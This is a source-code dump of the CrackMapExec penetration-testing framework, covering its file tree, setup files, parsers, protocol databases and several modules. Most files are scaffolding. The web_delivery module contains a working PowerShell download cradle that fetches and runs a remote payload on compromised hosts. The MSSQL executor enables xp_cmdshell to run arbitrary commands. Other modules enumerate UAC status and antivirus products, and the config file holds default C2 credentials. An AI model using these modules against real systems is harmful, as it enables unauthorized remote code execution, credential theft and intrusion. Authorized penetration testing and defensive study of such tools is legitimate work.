├── cme ├── helpers │ ├── __init__.py │ ├── bash.py │ ├── logger.py │ ├── http.py │ └── misc.py ├── loaders │ ├── __init__.py │ ├── protocol_loader.py │ └── module_loader.py ├── parsers │ ├── __init__.py │ ├── ip.py │ ├── nmap.py │ └── nessus.py ├── servers │ ├── __init__.py │ ├── smb.py │ └── http.py ├── protocols │ ├── __init__.py │ ├── http │ │ ├── __init__.py │ │ ├── db_navigator.py │ │ └── database.py │ ├── mssql │ │ ├── __init__.py │ │ ├── mssqlexec.py │ │ ├── db_navigator.py │ │ └── database.py │ ├── smb │ │ ├── __init__.py │ │ ├── remotefile.py │ │ ├── wmiexec.py │ │ ├── smbexec.py │ │ ├── atexec.py │ │ └── mmcexec.py │ ├── ssh │ │ ├── __init__.py │ │ ├── db_navigator.py │ │ └── database.py │ ├── winrm │ │ ├── __init__.py │ │ ├── db_navigator.py │ │ └── database.py │ ├── ssh.py │ ├── http.py │ └── winrm.py ├── data │ ├── cme.conf │ └── videos_for_darrell.harambe ├── __init__.py ├── context.py ├── modules │ ├── test_connection.py │ ├── enum_avproducts.py │ ├── uac.py │ ├── example_module.py │ ├── web_delivery.py │ ├── mimipenguin.py │ ├── multirdp.py │ ├── mimikittenz.py │ ├── gpp_autologin.py │ ├── invoke_vnc.py │ ├── enum_chrome.py │ ├── get_netrdpsession.py │ ├── enum_dns.py │ ├── slinky.py │ ├── empire_exec.py │ ├── scuffy.py │ ├── shellcode_inject.py │ ├── invoke_sessiongopher.py │ ├── netripper.py │ ├── rdp.py │ ├── pe_inject.py │ ├── met_inject.py │ ├── get_timedscreenshot.py │ ├── get_netdomaincontroller.py │ ├── wdigest.py │ ├── mimikatz_enum_vault_creds.py │ ├── tokens.py │ ├── gpp_password.py │ ├── get_keystrokes.py │ ├── mimikatz_enum_chrome.py │ └── bloodhound.py ├── msfrpc.py ├── first_run.py ├── cli.py └── logger.py ├── setup.cfg ├── Makefile ├── .github └── ISSUE_TEMPLATE.md ├── Pipfile ├── .gitignore ├── MANIFEST.in ├── LICENSE ├── setup.py ├── .gitmodules ├── README.rst └── README.md /cme/helpers/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /cme/loaders/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /cme/parsers/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /cme/servers/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /cme/protocols/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /cme/protocols/http/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /cme/protocols/mssql/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /cme/protocols/smb/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /cme/protocols/ssh/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /cme/protocols/winrm/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /setup.cfg: -------------------------------------------------------------------------------- 1 | [metadata] 2 | description-file = README.rst 3 | -------------------------------------------------------------------------------- /cme/protocols/ssh/db_navigator.py: -------------------------------------------------------------------------------- 1 | from cme.cmedb import DatabaseNavigator 2 | 3 | 4 | class navigator(DatabaseNavigator): 5 | pass 6 | -------------------------------------------------------------------------------- /cme/protocols/winrm/db_navigator.py: -------------------------------------------------------------------------------- 1 | from cme.cmedb import DatabaseNavigator 2 | 3 | 4 | class navigator(DatabaseNavigator): 5 | pass 6 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | clean: 2 | rm -f -r build/ 3 | rm -f -r dist/ 4 | rm -f -r *.egg-info 5 | find . -name '*.pyc' -exec rm -f {} + 6 | find . -name '*.pyo' -exec rm -f {} + 7 | find . -name '*~' -exec rm -f {} + -------------------------------------------------------------------------------- /cme/helpers/bash.py: -------------------------------------------------------------------------------- 1 | import os 2 | import cme 3 | 4 | def get_script(path): 5 | with open(os.path.join(os.path.dirname(cme.__file__), 'data', path), 'r') as script: 6 | return script.read() 7 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | ## Steps to reproduce 2 | 3 | 1. ... 4 | 2. ... 5 | 6 | ## Command string used 7 | 8 | ## CME verbose output (using the --verbose flag) 9 | 10 | ## CME Version (cme --version) 11 | 12 | ## OS 13 | 14 | ## Target OS 15 | 16 | ## Detailed issue explanation 17 | -------------------------------------------------------------------------------- /cme/data/cme.conf: -------------------------------------------------------------------------------- 1 | [CME] 2 | workspace=default 3 | last_used_db= 4 | pwn3d_label=Pwn3d! 5 | 6 | [Empire] 7 | api_host=127.0.0.1 8 | api_port=1337 9 | username=empireadmin 10 | password=Password123! 11 | 12 | [Metasploit] 13 | rpc_host=127.0.0.1 14 | rpc_port=55552 15 | password=abc123 16 | -------------------------------------------------------------------------------- /cme/__init__.py: -------------------------------------------------------------------------------- 1 | from gevent import monkey 2 | import sys 3 | import os 4 | import cme 5 | 6 | monkey.patch_all() 7 | 8 | thirdparty_modules = os.path.join(os.path.dirname(cme.__file__), 'thirdparty') 9 | 10 | for module in os.listdir(thirdparty_modules): 11 | sys.path.insert(0, os.path.join(thirdparty_modules, module)) 12 | -------------------------------------------------------------------------------- /cme/helpers/logger.py: -------------------------------------------------------------------------------- 1 | import os 2 | import random 3 | from termcolor import colored 4 | 5 | def write_log(data, log_name): 6 | logs_dir = os.path.join(os.path.expanduser('~/.cme'), 'logs') 7 | with open(os.path.join(logs_dir, log_name), 'w') as log_output: 8 | log_output.write(data) 9 | 10 | def highlight(text, color='yellow'): 11 | if color == 'yellow': 12 | return u'{}'.format(colored(text, 'yellow', attrs=['bold'])) 13 | elif color == 'red': 14 | return u'{}'.format(colored(text, 'red', attrs=['bold'])) 15 | -------------------------------------------------------------------------------- /Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | 3 | url = "https://pypi.python.org/simple" 4 | verify_ssl = true 5 | name = "pypi" 6 | 7 | 8 | [packages] 9 | 10 | pycrypto = ">=2.6" 11 | "pyasn1" = ">=0.1.8" 12 | gevent = ">=1.2.0" 13 | requests = ">=2.9.1" 14 | "bs4" = "*" 15 | netaddr = "*" 16 | pyopenssl = "*" 17 | termcolor = "*" 18 | msgpack-python = "*" 19 | pylnk = "*" 20 | splinter = "*" 21 | paramiko = "*" 22 | xmltodict = "*" 23 | six = "*" 24 | requests-ntlm = ">=0.3.0" 25 | terminaltables = "*" 26 | 27 | 28 | [dev-packages] 29 | 30 | 31 | 32 | [requires] 33 | 34 | python_version = "2.7" -------------------------------------------------------------------------------- /cme/protocols/winrm/database.py: -------------------------------------------------------------------------------- 1 | class database: 2 | 3 | def __init__(self, conn): 4 | self.conn = conn 5 | 6 | @staticmethod 7 | def db_schema(db_conn): 8 | db_conn.execute('''CREATE TABLE "credentials" ( 9 | "id" integer PRIMARY KEY, 10 | "username" text, 11 | "password" text 12 | )''') 13 | 14 | db_conn.execute('''CREATE TABLE "hosts" ( 15 | "id" integer PRIMARY KEY, 16 | "ip" text, 17 | "hostname" text, 18 | "port" integer 19 | )''') 20 | -------------------------------------------------------------------------------- /cme/context.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import os 3 | from ConfigParser import ConfigParser 4 | 5 | class Context: 6 | 7 | def __init__(self, db, logger, args): 8 | self.db = db 9 | self.log = logger 10 | self.log.debug = logging.debug 11 | self.log_folder_path = os.path.join(os.path.expanduser('~/.cme'), 'logs') 12 | self.localip = None 13 | 14 | self.conf = ConfigParser() 15 | self.conf.read(os.path.expanduser('~/.cme/cme.conf')) 16 | 17 | for key, value in vars(args).iteritems(): 18 | setattr(self, key, value) 19 | -------------------------------------------------------------------------------- /cme/protocols/ssh/database.py: -------------------------------------------------------------------------------- 1 | class database: 2 | 3 | def __init__(self, conn): 4 | self.conn = conn 5 | 6 | @staticmethod 7 | def db_schema(db_conn): 8 | db_conn.execute('''CREATE TABLE "credentials" ( 9 | "id" integer PRIMARY KEY, 10 | "username" text, 11 | "password" text, 12 | "pkey" text 13 | )''') 14 | 15 | db_conn.execute('''CREATE TABLE "hosts" ( 16 | "id" integer PRIMARY KEY, 17 | "ip" text, 18 | "hostname" text, 19 | "port" integer, 20 | "server_banner" text 21 | )''') -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | data/cme.db 2 | *.log 3 | .venv 4 | # Byte-compiled / optimized / DLL files 5 | __pycache__/ 6 | *.py[cod] 7 | 8 | # C extensions 9 | *.so 10 | 11 | # Distribution / packaging 12 | .Python 13 | env/ 14 | build/ 15 | develop-eggs/ 16 | dist/ 17 | downloads/ 18 | eggs/ 19 | .eggs/ 20 | lib/ 21 | lib64/ 22 | parts/ 23 | sdist/ 24 | var/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .coverage 43 | .coverage.* 44 | .cache 45 | nosetests.xml 46 | coverage.xml 47 | *,cover 48 | 49 | # Translations 50 | *.mo 51 | *.pot 52 | 53 | # Django stuff: 54 | *.log 55 | 56 | # Sphinx documentation 57 | docs/_build/ 58 | 59 | # PyBuilder 60 | target/ 61 | -------------------------------------------------------------------------------- /cme/parsers/ip.py: -------------------------------------------------------------------------------- 1 | from netaddr import IPAddress, IPRange, IPNetwork, AddrFormatError 2 | 3 | def parse_targets(target): 4 | if '-' in target: 5 | ip_range = target.split('-') 6 | try: 7 | hosts = IPRange(ip_range[0], ip_range[1]) 8 | except AddrFormatError: 9 | try: 10 | start_ip = IPAddress(ip_range[0]) 11 | 12 | start_ip_words = list(start_ip.words) 13 | start_ip_words[-1] = ip_range[1] 14 | start_ip_words = [str(v) for v in start_ip_words] 15 | 16 | end_ip = IPAddress('.'.join(start_ip_words)) 17 | 18 | t = IPRange(start_ip, end_ip) 19 | except AddrFormatError: 20 | t = target 21 | else: 22 | try: 23 | t = IPNetwork(target) 24 | except AddrFormatError: 25 | t = target 26 | 27 | if type(t) == IPNetwork or type(t) == IPRange: 28 | return list(t) 29 | else: 30 | return [t.strip()] 31 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include README.md 2 | include README.rst 3 | include LICENSE 4 | recursive-include cme/data * 5 | recursive-include cme/modules * 6 | recursive-include cme/thirdparty * 7 | prune cme/thirdparty/impacket/impacket/testcases 8 | prune cme/thirdparty/impacket/examples 9 | prune cme/thirdparty/pywinrm/winrm/tests 10 | prune cme/thirdparty/pywinrm/scripts 11 | prune cme/data/powersploit/Tests 12 | prune cme/data/powersploit/CodeExecution/Invoke-ReflectivePEInjection_Resources 13 | prune cme/data/powersploit/Exfiltration/LogonUser 14 | prune cme/data/powersploit/Exfiltration/NTFSParser 15 | prune cme/data/powersploit/Recon/Dictionaries 16 | prune cme/data/invoke-vnc/vncdll 17 | prune cme/data/invoke-vnc/winvnc 18 | prune cme/data/invoke-vnc/ReflectiveDLLInjection 19 | recursive-exclude cme/data/invoke-vnc *.py *.bat *.msbuild *.sln pebytes.ps1 20 | prune cme/data/netripper/DLL 21 | prune cme/data/netripper/Metasploit 22 | prune cme/data/netripper/NetRipper 23 | prune cme/data/netripper/Release 24 | prune cme/data/netripper/Win32 25 | prune cme/data/netripper/minhook 26 | prune cme/data/netripper/x64 27 | recursive-exclude cme/data/netripper *.pdf *.sln -------------------------------------------------------------------------------- /cme/modules/test_connection.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import create_ps_command 2 | from sys import exit 3 | 4 | class CMEModule: 5 | ''' 6 | Executes the Test-Connection PowerShell cmdlet 7 | Module by @byt3bl33d3r 8 | ''' 9 | 10 | name = 'test_connection' 11 | description = "Pings a host" 12 | supported_protocols = ['smb', 'mssql'] 13 | opsec_safe = True 14 | multiple_hosts = True 15 | 16 | def options(self, context, module_options): 17 | ''' 18 | HOST Host to ping 19 | ''' 20 | self.host = None 21 | 22 | if 'HOST' not in module_options: 23 | context.log.error('HOST option is required!') 24 | exit(1) 25 | 26 | self.host = module_options['HOST'] 27 | 28 | def on_admin_login(self, context, connection): 29 | command = 'Test-Connection {} -quiet -count 1'.format(self.host) 30 | 31 | output = connection.ps_execute(command, get_output=True) 32 | 33 | if output: 34 | output = output.strip() 35 | if bool(output) is True: 36 | context.log.success('Pinged successfully') 37 | elif bool(output) is False: 38 | context.log.error('Host unreachable') 39 | -------------------------------------------------------------------------------- /cme/modules/enum_avproducts.py: -------------------------------------------------------------------------------- 1 | class CMEModule: 2 | ''' 3 | Uses WMI to gather information on all endpoint protection solutions installed on the the remote host(s) 4 | Module by @byt3bl33d3r 5 | 6 | ''' 7 | 8 | name = 'enum_avproducts' 9 | description = 'Gathers information on all endpoint protection solutions installed on the the remote host(s) via WMI' 10 | supported_protocols = ['smb'] 11 | opsec_safe= True 12 | multiple_hosts = True 13 | 14 | def options(self, context, module_options): 15 | pass 16 | 17 | def on_admin_login(self, context, connection): 18 | output = connection.wmi('Select * From AntiSpywareProduct', 'root\\SecurityCenter2') 19 | if output: 20 | context.log.success('Found Anti-Spyware product:') 21 | for entry in output: 22 | for k,v in entry.iteritems(): 23 | context.log.highlight('{} => {}'.format(k,v['value'])) 24 | 25 | output = connection.wmi('Select * from AntiVirusProduct', 'root\\SecurityCenter2') 26 | if output: 27 | context.log.success('Found Anti-Virus product:') 28 | for entry in output: 29 | for k,v in entry.iteritems(): 30 | context.log.highlight('{} => {}'.format(k,v['value'])) -------------------------------------------------------------------------------- /cme/modules/uac.py: -------------------------------------------------------------------------------- 1 | from impacket.dcerpc.v5.rpcrt import DCERPCException 2 | from impacket.dcerpc.v5 import rrp 3 | from impacket.examples.secretsdump import RemoteOperations 4 | 5 | class CMEModule: 6 | 7 | name = 'uac' 8 | description = "Checks UAC status" 9 | supported_protocols = ['smb'] 10 | opsec_safe = True 11 | multiple_hosts = True 12 | 13 | def options(self, context, module_options): 14 | ''' 15 | ''' 16 | 17 | def on_admin_login(self, context, connection): 18 | remoteOps = RemoteOperations(connection.conn, False) 19 | remoteOps.enableRegistry() 20 | 21 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) 22 | regHandle = ans['phKey'] 23 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System') 24 | keyHandle = ans['phkResult'] 25 | dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA') 26 | 27 | if uac_value == 1: 28 | context.log.highlight('UAC Status: 1 (UAC Enabled)') 29 | elif uac_value == 0: 30 | context.log.highlight('UAC Status: 0 (UAC Disabled)') 31 | 32 | rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) 33 | remoteOps.finish() 34 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015, byt3bl33d3r 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 15 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 17 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 18 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 20 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 21 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 22 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 23 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | 25 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import setup, find_packages 2 | 3 | setup(name='crackmapexec', 4 | version='4.0.1dev', 5 | description='A swiss army knife for pentesting networks', 6 | classifiers=[ 7 | 'Environment :: Console', 8 | 'License :: OSI Approved :: BSD License', 9 | 'Programming Language :: Python :: 2.7', 10 | 'Topic :: Security', 11 | ], 12 | keywords='pentesting security windows active-directory networks', 13 | url='http://github.com/byt3bl33d3r/CrackMapExec', 14 | author='byt3bl33d3r', 15 | author_email='byt3bl33d3r@protonmail.com', 16 | license='BSD', 17 | packages=find_packages(include=[ 18 | "cme", "cme.*" 19 | ]), 20 | install_requires=[ 21 | 'pycrypto>=2.6', 22 | 'pyasn1>=0.1.8', 23 | 'gevent>=1.2.0', 24 | 'requests>=2.9.1', 25 | 'requests-ntlm>=0.3.0', 26 | 'bs4', 27 | 'netaddr', 28 | 'pyOpenSSL', 29 | 'termcolor', 30 | 'msgpack-python', 31 | 'pylnk', 32 | 'splinter', 33 | 'paramiko', 34 | 'xmltodict', 35 | 'six', 36 | 'terminaltables' 37 | ], 38 | entry_points={ 39 | 'console_scripts': ['crackmapexec=cme.crackmapexec:main', 'cme=cme.crackmapexec:main', 'cmedb=cme.cmedb:main'], 40 | }, 41 | include_package_data=True, 42 | zip_safe=False) 43 | -------------------------------------------------------------------------------- /cme/data/videos_for_darrell.harambe: -------------------------------------------------------------------------------- 1 | https://www.youtube.com/watch?v=dQw4w9WgXcQ 2 | https://www.youtube.com/watch?v=l12Csc_lW0Q 3 | https://www.youtube.com/watch?v=wBqM2ytqHY4 4 | https://www.youtube.com/watch?v=N1zL13LvxS8 5 | https://imgur.com/gallery/s1hLouN 6 | https://www.youtube.com/watch?v=Tay791Nprx0 7 | https://www.youtube.com/watch?v=rOGbMwXnlQM 8 | https://www.youtube.com/watch?v=mv8mV5X0MR8 9 | https://www.youtube.com/watch?v=nH2gUPTFCfo 10 | https://www.youtube.com/watch?v=zzfQwXEqYaI 11 | https://www.youtube.com/watch?v=yuwprXAaSv0 12 | https://i.imgur.com/aTr6Afr.gifv 13 | https://www.youtube.com/watch?v=SZoiJM1vlfc 14 | https://www.youtube.com/watch?v=IvDeXaiBy3I 15 | https://www.youtube.com/watch?v=G0cqV3h-aDA 16 | https://www.youtube.com/watch?v=q6yHoSvrTss 17 | https://www.youtube.com/watch?v=jnHFYTjk4MQ 18 | https://www.youtube.com/watch?v=tVj0ZTS4WF4 19 | https://www.youtube.com/watch?v=q6EoRBvdVPQ 20 | https://www.youtube.com/watch?v=Sagg08DrO5U 21 | https://www.youtube.com/watch?v=z9Uz1icjwrM 22 | https://www.youtube.com/watch?v=FavUpD_IjVY 23 | https://www.youtube.com/watch?v=jX3iLfcMDCw 24 | https://www.youtube.com/watch?v=i8ju_10NkGY 25 | https://www.youtube.com/watch?v=6mMPhs6je8Y 26 | https://www.youtube.com/watch?v=CgmNoapY64E 27 | https://www.youtube.com/watch?v=lQCQ4nvn3Is 28 | https://www.youtube.com/watch?v=19N9pAF2qGo 29 | https://www.youtube.com/watch?v=PWmfNeLs7fA 30 | -------------------------------------------------------------------------------- /cme/helpers/http.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | def get_desktop_uagent(uagent=None): 4 | 5 | desktop_uagents = { 6 | "MSIE9.0" : "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)", 7 | "MSIE8.0" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)", 8 | "MSIE7.0" : "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)", 9 | "MSIE6.0" : "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", 10 | "Chrome32" : "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36", 11 | "Chrome31" : "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36", 12 | "Firefox25": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0", 13 | "Firefox24": "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0,", 14 | "Safari5.1": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", 15 | "Safari5.0": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16" 16 | } 17 | 18 | if not uagent: 19 | return desktop_uagents[random.choice(desktop_uagents.keys())] 20 | elif uagent: 21 | return desktop_uagents[uagent] -------------------------------------------------------------------------------- /cme/protocols/mssql/mssqlexec.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | 4 | class MSSQLEXEC: 5 | 6 | def __init__(self, connection): 7 | self.mssql_conn = connection 8 | self.outputBuffer = '' 9 | 10 | def execute(self, command, output=False): 11 | try: 12 | self.enable_xp_cmdshell() 13 | self.mssql_conn.sql_query("exec master..xp_cmdshell '{}'".format(command)) 14 | 15 | if output: 16 | self.mssql_conn.printReplies() 17 | self.mssql_conn.colMeta[0]['TypeData'] = 80*2 18 | self.mssql_conn.printRows() 19 | self.outputBuffer = self.mssql_conn._MSSQL__rowsPrinter.getMessage() 20 | if len(self.outputBuffer): 21 | self.outputBuffer = self.outputBuffer.split('\n', 2)[2] 22 | 23 | self.disable_xp_cmdshell() 24 | return self.outputBuffer 25 | 26 | except Exception as e: 27 | logging.debug('Error executing command via mssqlexec: {}'.format(e)) 28 | 29 | def enable_xp_cmdshell(self): 30 | self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;") 31 | 32 | def disable_xp_cmdshell(self): 33 | self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;") 34 | -------------------------------------------------------------------------------- /cme/parsers/nmap.py: -------------------------------------------------------------------------------- 1 | import xmltodict 2 | 3 | # Ideally i'd like to be able to pull this info out dynamically from each protocol object but i'm a lazy bastard 4 | protocol_dict = { 5 | 'smb': {'ports': [445, 139], 'services': ['netbios-ssn', 'microsoft-ds']}, 6 | 'mssql': {'ports': [1433], 'services': ['ms-sql-s']}, 7 | 'ssh': {'ports': [22], 'services': ['ssh']}, 8 | 'winrm': {'ports': [5986, 5985], 'services': ['wsman']}, 9 | 'http': {'ports': [80, 443, 8443, 8008, 8080, 8081], 'services': ['http', 'ssl/https']} 10 | } 11 | 12 | 13 | def parse_nmap_xml(nmap_output_file, protocol): 14 | targets = [] 15 | 16 | with open(nmap_output_file, 'r') as file_handle: 17 | scan_output = xmltodict.parse(file_handle.read()) 18 | 19 | for host in scan_output['nmaprun']['host']: 20 | if host['address'][0]['@addrtype'] != 'ipv4': 21 | continue 22 | 23 | ip = host['address'][0]['@addr'] 24 | for port in host['ports']['port']: 25 | if port['state']['@state'] == 'open': 26 | if 'service' in port and (port['service']['@name'] in protocol_dict[protocol]['services']): 27 | if ip not in targets: 28 | targets.append(ip) 29 | elif port['@portid'] in protocol_dict[protocol]['ports']: 30 | if ip not in targets: 31 | targets.append(ip) 32 | 33 | return targets 34 | -------------------------------------------------------------------------------- /cme/loaders/protocol_loader.py: -------------------------------------------------------------------------------- 1 | import imp 2 | import os 3 | import sys 4 | import cme 5 | 6 | class protocol_loader: 7 | 8 | def __init__(self): 9 | self.cme_path = os.path.expanduser('~/.cme') 10 | 11 | def load_protocol(self, protocol_path): 12 | protocol = imp.load_source('protocol', protocol_path) 13 | #if self.module_is_sane(module, module_path): 14 | return protocol 15 | 16 | def get_protocols(self): 17 | protocols = {} 18 | 19 | protocol_paths = [os.path.join(os.path.dirname(cme.__file__), 'protocols'), os.path.join(self.cme_path, 'protocols')] 20 | 21 | for path in protocol_paths: 22 | for protocol in os.listdir(path): 23 | if protocol[-3:] == '.py' and protocol[:-3] != '__init__': 24 | protocol_path = os.path.join(path, protocol) 25 | protocol_name = protocol[:-3] 26 | 27 | protocols[protocol_name] = {'path' : protocol_path} 28 | 29 | db_file_path = os.path.join(path, protocol_name, 'database.py') 30 | db_nav_path = os.path.join(path, protocol_name, 'db_navigator.py') 31 | if os.path.exists(db_file_path): 32 | protocols[protocol_name]['dbpath'] = db_file_path 33 | if os.path.exists(db_nav_path): 34 | protocols[protocol_name]['nvpath'] = db_nav_path 35 | 36 | return protocols 37 | -------------------------------------------------------------------------------- /cme/modules/example_module.py: -------------------------------------------------------------------------------- 1 | class CMEModule: 2 | ''' 3 | Example 4 | Module by @yomama 5 | 6 | ''' 7 | name = 'example module' 8 | description = 'I do something' 9 | supported_protocols = [] 10 | opsec_safe= True #Does the module touch disk? 11 | multiple_hosts = True #Does it make sense to run this module on multiple hosts at a time? 12 | 13 | def options(self, context, module_options): 14 | '''Required. Module options get parsed here. Additionally, put the modules usage here as well''' 15 | pass 16 | 17 | def on_login(self, context, connection): 18 | '''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection''' 19 | pass 20 | 21 | def on_admin_login(self, context, connection): 22 | '''Concurrent. Required if on_login is not present. This gets called on each authenticated connection with Administrative privileges''' 23 | pass 24 | 25 | def on_request(self, context, request): 26 | '''Optional. If the payload needs to retrieve additonal files, add this function to the module''' 27 | pass 28 | 29 | def on_response(self, context, response): 30 | '''Optional. If the payload sends back its output to our server, add this function to the module to handle its output''' 31 | pass 32 | 33 | def on_shutdown(self, context, connection): 34 | '''Optional. Do something on shutdown''' 35 | pass 36 | -------------------------------------------------------------------------------- /cme/modules/web_delivery.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import * 2 | from sys import exit 3 | 4 | class CMEModule: 5 | ''' 6 | Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module 7 | Reference: https://github.com/EmpireProject/Empire/blob/2.0_beta/data/module_source/code_execution/Invoke-MetasploitPayload.ps1 8 | 9 | Module by @byt3bl33d3r 10 | ''' 11 | 12 | name = 'web_delivery' 13 | description = 'Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module' 14 | supported_protocols = ['smb', 'mssql'] 15 | opsec_safe = True 16 | multiple_hosts = True 17 | 18 | def options(self, context, module_options): 19 | ''' 20 | URL URL for the download cradle 21 | ''' 22 | 23 | if not 'URL' in module_options: 24 | context.log.error('URL option is required!') 25 | exit(1) 26 | 27 | self.url = module_options['URL'] 28 | 29 | def on_admin_login(self, context, connection): 30 | ps_command = '''[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{}');'''.format(self.url) 31 | connection.ps_execute(ps_command, force_ps32=True) 32 | context.log.success('Executed web-delivery launcher') 33 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "cme/data/invoke-vnc"] 2 | path = cme/data/invoke-vnc 3 | url = https://github.com/artkond/Invoke-Vnc 4 | [submodule "cme/data/mimikittenz"] 5 | path = cme/data/mimikittenz 6 | url = https://github.com/putterpanda/mimikittenz 7 | [submodule "cme/data/powersploit"] 8 | path = cme/data/powersploit 9 | url = https://github.com/PowerShellMafia/PowerSploit 10 | [submodule "cme/data/invoke-obfuscation"] 11 | path = cme/data/invoke-obfuscation 12 | url = https://github.com/danielbohannon/Invoke-Obfuscation 13 | [submodule "cme/data/netripper"] 14 | path = cme/data/netripper 15 | url = https://github.com/NytroRST/NetRipper 16 | [submodule "cme/data/randomps-scripts"] 17 | path = cme/data/randomps-scripts 18 | url = https://github.com/xorrior/RandomPS-Scripts 19 | [submodule "cme/thirdparty/pywerview_"] 20 | path = cme/thirdparty/pywerview 21 | url = https://github.com/the-useless-one/pywerview 22 | [submodule "cme/thirdparty/impacket_"] 23 | path = cme/thirdparty/impacket 24 | url = https://github.com/CoreSecurity/impacket 25 | [submodule "cme/data/cme_powershell_scripts"] 26 | path = cme/data/cme_powershell_scripts 27 | url = https://github.com/byt3bl33d3r/CME-PowerShell-Scripts 28 | [submodule "cme/data/sessiongopher"] 29 | path = cme/data/sessiongopher 30 | url = https://github.com/fireeye/SessionGopher 31 | [submodule "cme/data/mimipenguin"] 32 | path = cme/data/mimipenguin 33 | url = https://github.com/huntergregal/mimipenguin 34 | [submodule "cme/thirdparty/pywinrm"] 35 | path = cme/thirdparty/pywinrm 36 | url = https://github.com/diyan/pywinrm 37 | -------------------------------------------------------------------------------- 